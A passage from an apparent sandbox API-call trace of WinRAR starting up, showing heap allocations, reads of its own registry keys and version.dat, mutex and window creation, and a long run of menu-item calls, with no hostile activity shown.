input=0x1ecaf0, output=0x0 | out: token=0x1ecb28, output=0x0) returned 0x0 [0052.049] SHGetMalloc (in: ppMalloc=0x13f30aa30 | out: ppMalloc=0x13f30aa30*=0x7fefe535380) returned 0x0 [0052.049] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0xa468) returned 0x335da0 [0052.050] GetCurrentProcess () returned 0xffffffffffffffff [0052.050] GetProcessAffinityMask (in: hProcess=0xffffffffffffffff, lpProcessAffinityMask=0x1ec9d0, lpSystemAffinityMask=0x1ec9d8 | out: lpProcessAffinityMask=0x1ec9d0, lpSystemAffinityMask=0x1ec9d8) returned 1 [0052.050] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0xc0) returned 0x318760 [0052.050] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x2058) returned 0x340210 [0052.050] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0xd110) returned 0x342270 [0052.051] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x4000) returned 0x34f390 [0052.051] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x4060) returned 0x3533a0 [0052.052] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0xa758) returned 0x357410 [0052.052] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0xa0f0) returned 0x361b70 [0052.052] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x5080) returned 0x36bc70 [0052.052] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x2c20) returned 0x370d00 [0052.053] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20a0) returned 0x373930 [0052.053] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x4000) returned 0x3759e0 [0052.053] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x8560) returned 0x3799f0 [0052.053] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x4000) returned 0x381f60 [0052.053] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x4ec0) returned 0x385f70 [0052.054] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x28) returned 0x32df30 [0052.054] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x2190) returned 0x38ae40 [0052.054] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x4000) returned 0x38cfe0 [0052.054] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x6a258) returned 0x2100080 [0052.055] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x4000) returned 0x390ff0 [0052.056] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20a0) returned 0x395000 [0052.056] GetLastError () returned 0x0 [0052.056] SetLastError (dwErrCode=0x0) [0052.056] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles", ulOptions=0x0, samDesired=0x1, phkResult=0x1ebe90 | out: phkResult=0x1ebe90*=0x15c) returned 0x0 [0052.056] RegCloseKey (hKey=0x15c) returned 0x0 [0052.056] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1ebaf4 | out: lpSystemTimeAsFileTime=0x1ebaf4*(dwLowDateTime=0x31d240a0, dwHighDateTime=0x1d4e94c)) [0052.056] GetLastError () returned 0x0 [0052.056] SetLastError (dwErrCode=0x0) [0052.056] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\General", ulOptions=0x0, samDesired=0x9, phkResult=0x1ead90 | out: phkResult=0x1ead90*=0x15c) returned 0x0 [0052.056] RegQueryValueExW (in: hKey=0x15c, lpValueName="VerInfo", lpReserved=0x0, lpType=0x1eb1f4, lpData=0x1ebad0, lpcbData=0x1eb1f0*=0xc | out: lpType=0x1eb1f4*=0x3, lpData=0x1ebad0*, lpcbData=0x1eb1f0*=0xc) returned 0x0 [0052.056] RegCloseKey (hKey=0x15c) returned 0x0 [0052.056] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Paths", ulOptions=0x0, samDesired=0x1, phkResult=0x1eba70 | out: phkResult=0x1eba70*=0x0) returned 0x2 [0052.056] SHGetMalloc (in: ppMalloc=0x1eba10 | out: ppMalloc=0x1eba10*=0x7fefe535380) returned 0x0 [0052.056] SHGetSpecialFolderLocation (in: hwnd=0x0, csidl=26, ppidl=0x1eba58 | out: ppidl=0x1eba58) returned 0x0 [0052.056] SHGetPathFromIDListW (in: pidl=0x32e6b0, pszPath=0x1ebb00 | out: pszPath="C:\\Users\\WhuOXYsD\\AppData\\Roaming") returned 1 [0052.056] GetFileAttributesW (lpFileName="C:\\Users\\WhuOXYsD\\AppData\\Roaming\\WinRAR" (normalized: "c:\\users\\whuoxysd\\appdata\\roaming\\winrar")) returned 0x2010 [0052.057] IMalloc:Free (This=0x7fefe535380, pv=0x32e6b0) [0052.057] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x58) returned 0x315e90 [0052.057] CreateFileW (lpFileName="C:\\Users\\WhuOXYsD\\AppData\\Roaming\\WinRAR\\version.dat" (normalized: "c:\\users\\whuoxysd\\appdata\\roaming\\winrar\\version.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x1eb8e8, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c [0052.057] GetFileType (hFile=0x15c) returned 0x1 [0052.057] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x1000) returned 0x319c40 [0052.057] ReadFile (in: hFile=0x15c, lpBuffer=0x319c40, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1eb948, lpOverlapped=0x0 | out: lpBuffer=0x319c40*, lpNumberOfBytesRead=0x1eb948*=0x0, lpOverlapped=0x0) returned 1 [0052.057] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x319c40 | out: hHeap=0x2e0000) returned 1 [0052.057] CloseHandle (hObject=0x15c) returned 1 [0052.057] CreateFileW (lpFileName="C:\\Users\\WhuOXYsD\\AppData\\Roaming\\WinRAR\\version.dat" (normalized: "c:\\users\\whuoxysd\\appdata\\roaming\\winrar\\version.dat"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x1eb8e8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c [0052.058] GetFileType (hFile=0x15c) returned 0x1 [0052.058] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x1000) returned 0x319c40 [0052.058] WriteFile (in: hFile=0x15c, lpBuffer=0x319c40*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x1eb954, lpOverlapped=0x0 | out: lpBuffer=0x319c40*, lpNumberOfBytesWritten=0x1eb954*=0xc, lpOverlapped=0x0) returned 1 [0052.058] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x319c40 | out: hHeap=0x2e0000) returned 1 [0052.058] CloseHandle (hObject=0x15c) returned 1 [0052.060] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="WinRAR_Busy") returned 0x15c [0052.060] FindWindowW (lpClassName="WinRarWindow", lpWindowName=0x0) returned 0x0 [0052.060] CreateWindowExW (dwExStyle=0x10, lpClassName="WinRarWindow", lpWindowName="WinRAR", dwStyle=0x6cf0000, X=-2147483648, Y=-2147483648, nWidth=-2147483648, nHeight=-2147483648, hWndParent=0x0, hMenu=0x0, hInstance=0x13f160000, lpParam=0x0) returned 0x201d2 [0052.061] RegisterClipboardFormatW (lpszFormat="TaskbarCreated") returned 0xc075 [0052.061] NtdllDefWindowProc_W (hWnd=0x201d2, Msg=0x24, wParam=0x0, lParam=0x1ec5a0) returned 0x0 [0052.061] NtdllDefWindowProc_W (hWnd=0x201d2, Msg=0x81, wParam=0x0, lParam=0x1ec550) returned 0x1 [0052.062] NtdllDefWindowProc_W (hWnd=0x201d2, Msg=0x83, wParam=0x0, lParam=0x1ec5c0) returned 0x0 [0052.307] LoadMenuW (hInstance=0x13f160000, lpMenuName="MAIN_MENU") returned 0x101ff [0052.308] GetMenuItemInfoW (in: hmenu=0x101ff, item=0x0, fByPosition=1, lpmii=0x1e9c10 | out: lpmii=0x1e9c10) returned 1 [0052.308] SetMenuItemInfoW (hmenu=0x101ff, item=0x0, fByPositon=1, lpmii=0x1e9c10) returned 1 [0052.308] GetMenuItemInfoW (in: hmenu=0x20121, item=0x0, fByPosition=1, lpmii=0x1e8950 | out: lpmii=0x1e8950) returned 1 [0052.308] SetMenuItemInfoW (hmenu=0x20121, item=0x0, fByPositon=1, lpmii=0x1e8950) returned 1 [0052.308] GetMenuItemInfoW (in: hmenu=0x20121, item=0x1, fByPosition=1, lpmii=0x1e8950 | out: lpmii=0x1e8950) returned 1 [0052.308] SetMenuItemInfoW (hmenu=0x20121, item=0x1, fByPositon=1, lpmii=0x1e8950) returned 1 [0052.308] GetMenuItemInfoW (in: hmenu=0x20121, item=0x2, fByPosition=1, lpmii=0x1e8950 | out: lpmii=0x1e8950) returned 1 [0052.308] SetMenuItemInfoW (hmenu=0x20121, item=0x2, fByPositon=1, lpmii=0x1e8950) returned 1 [0052.308] GetMenuItemInfoW (in: hmenu=0x10123, item=0x0, fByPosition=1, lpmii=0x1e7690 | out: lpmii=0x1e7690) returned 1 [0052.308] GetMenuItemInfoW (in: hmenu=0x10123, item=0x1, fByPosition=1, lpmii=0x1e7690 | out: lpmii=0x1e7690) returned 0 [0052.308] GetMenuItemInfoW (in: hmenu=0x20121, item=0x3, fByPosition=1, lpmii=0x1e8950 | out: lpmii=0x1e8950) returned 1 [0052.308] SetMenuItemInfoW (hmenu=0x20121, item=0x3, fByPositon=1, lpmii=0x1e8950) returned 1 [0052.308] GetMenuItemInfoW (in: hmenu=0x20121, item=0x4, fByPosition=1, lpmii=0x1e8950 | out: lpmii=0x1e8950) returned 1 [0052.308] GetMenuItemInfoW (in: hmenu=0x20121, item=0x5, fByPosition=1, lpmii=0x1e8950 | out: lpmii=0x1e8950) returned 1 [0052.308] SetMenuItemInfoW (hmenu=0x20121, item=0x5, fByPositon=1, lpmii=0x1e8950) returned 1 [0052.308] GetMenuItemInfoW (in: hmenu=0x20121, item=0x6, fByPosition=1, lpmii=0x1e8950 | out: lpmii=0x1e8950) returned 1 [0052.308] SetMenuItemInfoW (hmenu=0x20121, item=0x6, fByPositon=1, lpmii=0x1e8950) returned 1 [0052.308] GetMenuItemInfoW (in: hmenu=0x20121, item=0x7, fByPosition=1, lpmii=0x1e8950 | out: lpmii=0x1e8950) returned 1 [0052.308] SetMenuItemInfoW (hmenu=0x20121, item=0x7, fByPositon=1, lpmii=0x1e8950) returned 1 [0052.308] GetMenuItemInfoW (in: hmenu=0x20121, item=0x8, fByPosition=1, lpmii=0x1e8950 | out: lpmii=0x1e8950) returned 1 [0052.308] GetMenuItemInfoW (in: hmenu=0x20121, item=0x9, fByPosition=1, lpmii=0x1e8950 | out: lpmii=0x1e8950) returned 1 [0052.308] SetMenuItemInfoW (hmenu=0x20121, item=0x9, fByPositon=1, lpmii=0x1e8950) returned 1 [0052.308] GetMenuItemInfoW (in: hmenu=0x20121, item=0xa, fByPosition=1, lpmii=0x1e8950 | out: lpmii=0x1e8950) returned 1 [0052.308] SetMenuItemInfoW (hmenu=0x20121, item=0xa, fByPositon=1, lpmii=0x1e8950) returned 1 [0052.308] GetMenuItemInfoW (in: hmenu=0x20121, item=0xb, fByPosition=1, lpmii=0x1e8950 | out: lpmii=0x1e8950) returned 1 [0052.308] SetMenuItemInfoW (hmenu=0x20121, item=0xb, fByPositon=1, lpmii=0x1e8950) returned 1 [0052.308] GetMenuItemInfoW (in: hmenu=0x20121, item=0xc, fByPosition=1, lpmii=0x1e8950 | out: lpmii=0x1e8950) returned 1 [0052.308] SetMenuItemInfoW (hmenu=0x20121, item=0xc, fByPositon=1, lpmii=0x1e8950) returned 1 [0052.308] GetMenuItemInfoW (in: hmenu=0x20121, item=0xd, fByPosition=1, lpmii=0x1e8950 | out: lpmii=0x1e8950) returned 1 [0052.308] GetMenuItemInfoW (in: hmenu=0x20121, item=0xe, fByPosition=1, lpmii=0x1e8950 | out: lpmii=0x1e8950) returned 1 [0052.308] SetMenuItemInfoW (hmenu=0x20121, item=0xe, fByPositon=1, lpmii=0x1e8950) returned 1 [0052.308] GetMenuItemInfoW (in: hmenu=0x20121, item=0xf, fByPosition=1, lpmii=0x1e8950 | out: lpmii=0x1e8950) returned 0 [0052.308] GetMenuItemInfoW (in: hmenu=0x101ff, item=0x1, fByPosition=1, lpmii=0x1e9c10 | out: lpmii=0x1e9c10) returned 1 [0052.308] SetMenuItemInfoW (hmenu=0x101ff, item=0x1, fByPositon=1, lpmii=0x1e9c10) returned 1 [0052.308] GetMenuItemInfoW (in: hmenu=0x10125, item=0x0, fByPosition=1, lpmii=0x1e8950 | out: lpmii=0x1e8950) returned 1 [0052.308] SetMenuItemInfoW (hmenu=0x10125, item=0x0, fByPositon=1, lpmii=0x1e8950) returned 1 [0052.308] GetMenuItemInfoW (in: hmenu=0x10125, item=0x1, fByPosition=1, lpmii=0x1e8950 | out: lpmii=0x1e8950) returned 1 [0052.308] SetMenuItemInfoW (hmenu=0x10125, item=0x1, fByPositon=1, lpmii=0x1e8950) returned 1 [0052.308] GetMenuItemInfoW (in: hmenu=0x10125, item=0x2, fByPosition=1, lpmii=0x1e8950 | out: lpmii=0x1e8950) returned 1 [0052.308] SetMenuItemInfoW (hmenu=0x10125, item=0x2, fByPositon=1, lpmii=0x1e8950) returned 1 [0052.308] GetMenuItemInfoW (in: hmenu=0x10125, item=0x3, fByPosition=1, lpmii=0x1e8950 | out: lpmii=0x1e8950) returned 1 [0052.308] GetMenuItemInfoW (in: hmenu=0x10125, item=0x4, fByPosition=1, lpmii=0x1e8950 | out: lpmii=0x1e8950) returned 1 [0052.308] SetMenuItemInfoW (hmenu=0x10125, item=0x4, fByPositon=1, lpmii=0x1e8950) returned 1 [0052.308] GetMenuItemInfoW (in: hmenu=0x10125, item=0x5, fByPosition=1, lpmii=0x1e8950 | out: lpmii=0x1e8950) returned 1 [0052.309] SetMenuItemInfoW (hmenu=0x10125, item=0x5, fByPositon=1, lpmii=0x1e8950) returned 1 [0052.309] GetMenuItemInfoW (in: hmenu=0x10125, item=0x6, fByPosition=1, lpmii=0x1e8950 | out: lpmii=0x1e8950) returned 1 [0052.309] SetMenuItemInfoW (hmenu=0x10125, item=0x6, fByPositon=1, lpmii=0x1e8950) returned 1 [0052.309] GetMenuItemInfoW (in: hmenu=0x10125, item=0x7, fByPosition=1, lpmii=0x1e8950 | out: lpmii=0x1e8950) returned 1 [0052.309] SetMenuItemInfoW (hmenu=0x10125, item=0x7, fByPositon=1, lpmii=0x1e8950) returned 1 [0052.309] GetMenuItemInfoW (in: hmenu=0x10125, item=0x8, fByPosition=1, lpmii=0x1e8950 | out: lpmii=0x1e8950) returned 1 [0052.309] GetMenuItemInfoW (in: hmenu=0x10125, item=0x9, fByPosition=1, lpmii=0x1e8950 | out: lpmii=0x1e8950) returned 1 [0052.309] SetMenuItemInfoW (hmenu=0x10125, item=0x9, fByPositon=1, lpmii=0x1e8950) returned 1 [0052.309] GetMenuItemInfoW (in: hmenu=0x10125, item=0xa, fByPosition=1, lpmii=0x1e8950 | out: lpmii=0x1e8950) returned 1 [0052.309] SetMenuItemInfoW (hmenu=0x10125, item=0xa, fByPositon=1, lpmii=0x1e8950) returned 1 [0052.309] GetMenuItemInfoW (in: hmenu=0x10125, item=0xb, fByPosition=1, lpmii=0x1e8950 | out: lpmii=0x1e8950) returned 1 [0052.309] SetMenuItemInfoW (hmenu=0x10125, item=0xb, fByPositon=1, lpmii=0x1e8950) returned 1 [0052.309] GetMenuItemInfoW (in: hmenu=0x10125, item=0xc, fByPosition=1, lpmii=0x1e8950 | out: lpmii=0x1e8950) returned 1 [0052.309] SetMenuItemInfoW (hmenu=0x10125, item=0xc, fByPositon=1, lpmii=0x1e8950) returned 1 [0052.309] GetMenuItemInfoW (in: hmenu=0x10125, item=0xd, fByPosition=1, lpmii=0x1e8950 | out: lpmii=0x1e8950) returned 0 [0052.309] GetMenuItemInfoW (in: hmenu=0x101ff, item=0x2, fByPosition=1, lpmii=0x1e9c10 | out: lpmii=0x1e9c10) returned 1 [0052.309] SetMenuItemInfoW (hmenu=0x101ff, item=0x2, fByPositon=1, lpmii=0x1e9c10) returned 1 [0052.309] GetMenuItemInfoW (in: hmenu=0x10127, item=0x0, fByPosition=1, lpmii=0x1e8950 | out: lpmii=0x1e8950) returned 1 [0052.309] SetMenuItemInfoW (hmenu=0x10127, item=0x0, fByPositon=1, lpmii=0x1e8950) returned 1 [0052.309] GetMenuItemInfoW (in: hmenu=0x10127, item=0x1, fByPosition=1, lpmii=0x1e8950 | out: lpmii=0x1e8950) returned 1 [0052.309] GetMenuItemInfoW (in: hmenu=0x10127, item=0x2, fByPosition=1, lpmii=0x1e8950 | out: lpmii=0x1e8950) returned 1 [0052.309] SetMenuItemInfoW (hmenu=0x10127, item=0x2, fByPositon=1, lpmii=0x1e8950) returned 1 [0052.309] GetMenuItemInfoW (in: hmenu=0x10127, item=0x3, fByPosition=1, lpmii=0x1e8950 | out: lpmii=0x1e8950) returned 1 [0052.309] SetMenuItemInfoW (hmenu=0x10127, item=0x3, fByPositon=1, lpmii=0x1e8950) returned 1 [0052.309] GetMenuItemInfoW (in: hmenu=0x10127, item=0x4, fByPosition=1, lpmii=0x1e8950 | out: lpmii=0x1e8950) returned 1 [0052.309] SetMenuItemInfoW (hmenu=0x10127, item=0x4, fByPositon=1, lpmii=0x1e8950) returned 1 [0052.309] GetMenuItemInfoW (in: hmenu=0x10127, item=0x5, fByPosition=1, lpmii=0x1e8950 | out: lpmii=0x1e8950) returned 1 [0052.309] SetMenuItemInfoW (hmenu=0x10127, item=0x5, fByPositon=1, lpmii=0x1e8950) returned 1 [0052.309] GetMenuItemInfoW (in: hmenu=0x10127, item=0x6, fByPosition=1, lpmii=0x1e8950 | out: lpmii=0x1e8950) returned 1 [0052.309] GetMenuItemInfoW (in: hmenu=0x10127, item=0x7, fByPosition=1, lpmii=0x1e8950 | out: lpmii=0x1e8950) returned 1 [0052.309] SetMenuItemInfoW (hmenu=0x10127, item=0x7, fByPositon=1, lpmii=0x1e8950) returned 1 [0052.309] GetMenuItemInfoW (in: hmenu=0x10127, item=0x8, fByPosition=1, lpmii=0x1e8950 | out: lpmii=0x1e8950) returned 1 [0052.309] SetMenuItemInfoW (hmenu=0x10127, item=0x8, fByPositon=1, lpmii=0x1e8950) returned 1 [0052.309] GetMenuItemInfoW (in: hmenu=0x10127, item=0x9, fByPosition=1, lpmii=0x1e8950 | out: lpmii=0x1e8950) returned 1 [0052.309] SetMenuItemInfoW (hmenu=0x10127, item=0x9, fByPositon=1, lpmii=0x1e8950) returned 1 [0052.309] GetMenuItemInfoW (in: hmenu=0x10127, item=0xa, fByPosition=1, lpmii=0x1e8950 | out: lpmii=0x1e8950) returned 1 [0052.309] SetMenuItemInfoW (hmenu=0x10127, item=0xa, fByPositon=1, lpmii=0x1e8950) returned 1 [0052.309] GetMenuItemInfoW (in: hmenu=0x10127, item=0xb, fByPosition=1, lpmii=0x1e8950 | out: lpmii=0x1e8950) returned 0 [0052.309] GetMenuItemInfoW (in: hmenu=0x101ff, item=0x3, fByPosition=1, lpmii=0x1e9c10 | out: lpmii=0x1e9c10) returned 1 [0052.309] SetMenuItemInfoW (hmenu=0x101ff, item=0x3, fByPositon=1, lpmii=0x1e9c10) returned 1 [0052.309] GetMenuItemInfoW (in: hmenu=0x10129, item=0x0, fByPosition=1, lpmii=0x1e8950 | out: lpmii=0x1e8950) returned 1 [0052.309] SetMenuItemInfoW (hmenu=0x10129, item=0x0, fByPositon=1, lpmii=0x1e8950) returned 1 [0052.309] GetMenuItemInfoW (in: hmenu=0x10129, item=0x1, fByPosition=1, lpmii=0x1e8950 | out: lpmii=0x1e8950) returned 1 [0052.309] SetMenuItemInfoW (hmenu=0x10129, item=0x1, fByPositon=1, lpmii=0x1e8950) returned 1 [0052.309] GetMenuItemInfoW (in: hmenu=0x10129, item=0x2, fByPosition=1, lpmii=0x1e8950 | out: lpmii=0x1e8950) returned 1 [0052.309] GetMenuItemInfoW (in: hmenu=0x10129, item=0x3, fByPosition=1, lpmii=0x1e8950 | out: lpmii=0x1e8950) returned 0 [0052.309] GetMenuItemInfoW (in: hmenu=0x101ff, item=0x4, fByPosition=1, lpmii=0x1e9c10 | out: lpmii=0x1e9c10) returned 1 [0052.309] SetMenuItemInfoW (hmenu=0x101ff, item=0x4, fByPositon=1, lpmii=0x1e9c10) returned 1 [0052.309] GetMenuItemInfoW (in: hmenu=0x1012b, item=0x0, fByPosition=1, lpmii=0x1e8950 | out: lpmii=0x1e8950) returned 1 [0052.310] SetMenuItemInfoW (hmenu=0x1012b, item=0x0, fByPositon=1, lpmii=0x1e8950) returned 1 [0052.310] GetMenuItemInfoW (in: hmenu=0x1012b, item=0x1, fByPosition=1, lpmii=0x1e8950 | out: lpmii=0x1e8950) returned 1 [0052.310] SetMenuItemInfoW (hmenu=0x1012b, item=0x1, fByPositon=1, lpmii=0x1e8950) returned 1 [0052.310] GetMenuItemInfoW (in: hmenu=0x1012d, item=0x0, fByPosition=1, lpmii=0x1e7690 | out: lpmii=0x1e7690) returned 1 [0052.310] SetMenuItemInfoW (hmenu=0x1012d, item=0x0, fByPositon=1, lpmii=0x1e7690) returned 1 [0052.310] GetMenuItemInfoW (in: hmenu=0x1012d, item=0x1, fByPosition=1, lpmii=0x1e7690 | out: lpmii=0x1e7690) returned 1 [0052.310] SetMenuItemInfoW (hmenu=0x1012d, item=0x1, fByPositon=1, lpmii=0x1e7690) returned 1 [0052.310] GetMenuItemInfoW (in: hmenu=0x1012d, item=0x2, fByPosition=1, lpmii=0x1e7690 | out: lpmii=0x1e7690) returned 1 [0052.310] GetMenuItemInfoW (in: hmenu=0x1012d, item=0x3, fByPosition=1, lpmii=0x1e7690 | out: lpmii=0x1e7690) returned 1 [0052.310] SetMenuItemInfoW (hmenu=0x1012d, item=0x3, fByPositon=1, lpmii=0x1e7690) returned 1 [0052.310] GetMenuItemInfoW (in: hmenu=0x1012d, item=0x4, fByPosition=1, lpmii=0x1e7690 | out: lpmii=0x1e7690) returned 0 [0052.310] GetMenuItemInfoW (in: hmenu=0x1012b, item=0x2, fByPosition=1, lpmii=0x1e8950 | out: lpmii=0x1e8950) returned 1 [0052.310] GetMenuItemInfoW (in: hmenu=0x1012b, item=0x3, fByPosition=1, lpmii=0x1e8950 | out: lpmii=0x1e8950) returned 1 [0052.310] SetMenuItemInfoW (hmenu=0x1012b, item=0x3, fByPositon=1, lpmii=0x1e8950) returned 1 [0052.310] GetMenuItemInfoW (in: hmenu=0x1012f, item=0x0, fByPosition=1, lpmii=0x1e7690 | out: lpmii=0x1e7690) returned 1 [0052.310] SetMenuItemInfoW (hmenu=0x1012f, item=0x0, fByPositon=1, lpmii=0x1e7690) returned 1 [0052.310] GetMenuItemInfoW (in: hmenu=0x1012f, item=0x1, fByPosition=1, lpmii=0x1e7690 | out: lpmii=0x1e7690) returned 1 [0052.310] GetMenuItemInfoW (in: hmenu=0x1012f, item=0x2, fByPosition=1, lpmii=0x1e7690 | out: lpmii=0x1e7690) returned 1 [0052.310] SetMenuItemInfoW (hmenu=0x1012f, item=0x2, fByPositon=1, lpmii=0x1e7690) returned 1 [0052.310] GetMenuItemInfoW (in: hmenu=0x1012f, item=0x3, fByPosition=1, lpmii=0x1e7690 | out: lpmii=0x1e7690) returned 1 [0052.310] SetMenuItemInfoW (hmenu=0x1012f, item=0x3, fByPositon=1, lpmii=0x1e7690) returned 1 [0052.310] GetMenuItemInfoW (in: hmenu=0x1012f, item=0x4, fByPosition=1, lpmii=0x1e7690 | out: lpmii=0x1e7690) returned 0 [0052.310] GetMenuItemInfoW (in: hmenu=0x1012b, item=0x4, fByPosition=1, lpmii=0x1e8950 | out: lpmii=0x1e8950) returned 1 [0052.310] SetMenuItemInfoW (hmenu=0x1012b, item=0x4, fByPositon=1, lpmii=0x1e8950) returned 1 [0052.310] GetMenuItemInfoW (in: hmenu=0x10131, item=0x0, fByPosition=1, lpmii=0x1e7690 | out: lpmii=0x1e7690) returned 1 [0052.310] SetMenuItemInfoW (hmenu=0x10131, item=0x0, fByPositon=1, lpmii=0x1e7690) returned 1 [0052.310] GetMenuItemInfoW (in: hmenu=0x10131, item=0x1, fByPosition=1, lpmii=0x1e7690 | out: lpmii=0x1e7690) returned 1 [0052.310] SetMenuItemInfoW (hmenu=0x10131, item=0x1, fByPositon=1, lpmii=0x1e7690) returned 1 [0052.310] GetMenuItemInfoW (in: hmenu=0x10131, item=0x2, fByPosition=1, lpmii=0x1e7690 | out: lpmii=0x1e7690) returned 0 [0052.310] GetMenuItemInfoW (in: hmenu=0x1012b, item=0x5, fByPosition=1, lpmii=0x1e8950 | out: lpmii=0x1e8950) returned 1 [0052.310] SetMenuItemInfoW (hmenu=0x1012b, item=0x5, fByPositon=1, lpmii=0x1e8950) returned 1 [0052.310] GetMenuItemInfoW (in: hmenu=0x10133, item=0x0, fByPosition=1, lpmii=0x1e7690 | out: lpmii=0x1e7690) returned 1 [0052.310] SetMenuItemInfoW (hmenu=0x10133, item=0x0, fByPositon=1, lpmii=0x1e7690) returned 1 [0052.310] GetMenuItemInfoW (in: hmenu=0x10133, item=0x1, fByPosition=1, lpmii=0x1e7690 | out: lpmii=0x1e7690) returned 1 [0052.310] SetMenuItemInfoW (hmenu=0x10133, item=0x1, fByPositon=1, lpmii=0x1e7690) returned 1 [0052.310] GetMenuItemInfoW (in: hmenu=0x10133, item=0x2, fByPosition=1, lpmii=0x1e7690 | out: lpmii=0x1e7690) returned 1 [0052.310] GetMenuItemInfoW (in: hmenu=0x10133, item=0x3, fByPosition=1, lpmii=0x1e7690 | out: lpmii=0x1e7690) returned 1 [0052.310] SetMenuItemInfoW (hmenu=0x10133, item=0x3, fByPositon=1, lpmii=0x1e7690) returned 1 [0052.310] GetMenuItemInfoW (in: hmenu=0x10133, item=0x4, fByPosition=1, lpmii=0x1e7690 | out: lpmii=0x1e7690) returned 0 [0052.310] GetMenuItemInfoW (in: hmenu=0x1012b, item=0x6, fByPosition=1, lpmii=0x1e8950 | out: lpmii=0x1e8950) returned 1 [0052.310] SetMenuItemInfoW (hmenu=0x1012b, item=0x6, fByPositon=1, lpmii=0x1e8950) returned 1 [0052.310] GetMenuItemInfoW (in: hmenu=0x10135, item=0x0, fByPosition=1, lpmii=0x1e7690 | out: lpmii=0x1e7690) returned 1 [0052.310] GetMenuItemInfoW (in: hmenu=0x10135, item=0x1, fByPosition=1, lpmii=0x1e7690 | out: lpmii=0x1e7690) returned 0 [0052.310] GetMenuItemInfoW (in: hmenu=0x1012b, item=0x7, fByPosition=1, lpmii=0x1e8950 | out: lpmii=0x1e8950) returned 1 [0052.310] GetMenuItemInfoW (in: hmenu=0x1012b, item=0x8, fByPosition=1, lpmii=0x1e8950 | out: lpmii=0x1e8950) returned 1 [0052.310] SetMenuItemInfoW (hmenu=0x1012b, item=0x8, fByPositon=1, lpmii=0x1e8950) returned 1 [0052.310] GetMenuItemInfoW (in: hmenu=0x1012b, item=0x9, fByPosition=1, lpmii=0x1e8950 | out: lpmii=0x1e8950) returned 1 [0052.310] SetMenuItemInfoW (hmenu=0x1012b, item=0x9, fByPositon=1, lpmii=0x1e8950) returned 1 [0052.310] GetMenuItemInfoW (in: hmenu=0x1012b, item=0xa, fByPosition=1, lpmii=0x1e8950 | out: lpmii=0x1e8950) returned 0 [0052.310] GetMenuItemInfoW (in: hmenu=0x101ff, item=0x5, fByPosition=1, lpmii=0x1e9c10 | out: lpmii=0x1e9c10) returned 1 [0052.310] SetMenuItemInfoW (hmenu=0x101ff, item=0x5, fByPositon=1, lpmii=0x1e9c10) returned 1 [0052.311] GetMenuItemInfoW (in: hmenu=0x10137, item=0x0, fByPosition=1, lpmii=0x1e8950 | out: lpmii=0x1e8950) returned 1 [0052.311] SetMenuItemInfoW (hmenu=0x10137, item=0x0, fByPositon=1, lpmii=0x1e8950) returned 1 [0052.311] GetMenuItemInfoW (in: hmenu=0x10137, item=0x1, fByPosition=1, lpmii=0x1e8950 | out: lpmii=0x1e8950) returned 1 [0052.311] GetMenuItemInfoW (in: hmenu=0x10137, item=0x2, fByPosition=1, lpmii=0x1e8950 | out: lpmii=0x1e8950) returned 1 [0052.311] SetMenuItemInfoW (hmenu=0x10137, item=0x2, fByPositon=1, lpmii=0x1e8950) returned 1 [0052.311] GetMenuItemInfoW (in: hmenu=0x10137, item=0x3, fByPosition=1, lpmii=0x1e8950 | out: lpmii=0x1e8950) returned 1 [0052.311] GetMenuItemInfoW (in: hmenu=0x10137, item=0x4, fByPosition=1, lpmii=0x1e8950 | out: lpmii=0x1e8950) returned 1 [0052.311] SetMenuItemInfoW (hmenu=0x10137, item=0x4, fByPositon=1, lpmii=0x1e8950) returned 1 [0052.311] GetMenuItemInfoW (in: hmenu=0x10137, item=0x5, fByPosition=1, lpmii=0x1e8950 | out: lpmii=0x1e8950) returned 0 [0052.311] GetMenuItemInfoW (in: hmenu=0x101ff, item=0x6, fByPosition=1, lpmii=0x1e9c10 | out: lpmii=0x1e9c10) returned 0 [0052.311] LoadStringW (in: hInstance=0x13f160000, uID=0x438, lpBuffer=0x13f2df630, cchBufferMax=512 | 